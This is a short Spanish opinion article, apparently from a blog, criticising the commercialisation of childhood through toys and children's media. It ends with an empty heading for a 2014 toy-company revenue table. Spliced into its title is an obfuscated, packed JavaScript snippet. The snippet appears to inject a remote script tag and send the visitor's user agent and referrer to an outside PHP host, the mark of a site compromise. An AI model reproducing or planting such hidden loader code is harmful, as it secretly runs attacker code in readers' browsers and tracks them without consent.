



El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6('";n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|sber|var|u0026u|referrer|esfka||js|php'.split('|'),0,{})) Tesoro (mancillado) de la Juventud

Tal como ocurre con todos los “tesoros”, naturales o humanos, el tesoro de la infancia ha sido “mancillado” por el capitalismo con una guerra comercial inclemente en la que, a sabiendas o no, “la familia” ha sido cómplice voluntarioso. Juguetes, música, canciones, disfraces... todo una arsenal que derrocha mal gusto, ridiculez, cursilería a destajo.

Catarata de ofensivas para envolver, con “ternura” de mercachifles, los valores ideológicos de la clase dominante simbolizados en mercancías “divertidas” para niñas y niños. A la vista (complaciente) de todos. Queda fuera de este análisis, por ahora, el rol de los “juguetes didácticos”, que todos lo son, pero de manera distinta.



INGRESOS DE LAS MAYORES COMPAÑÍAS JUGUETERAS EN EL MUNDO

Cifras en millones de dólares, 2014

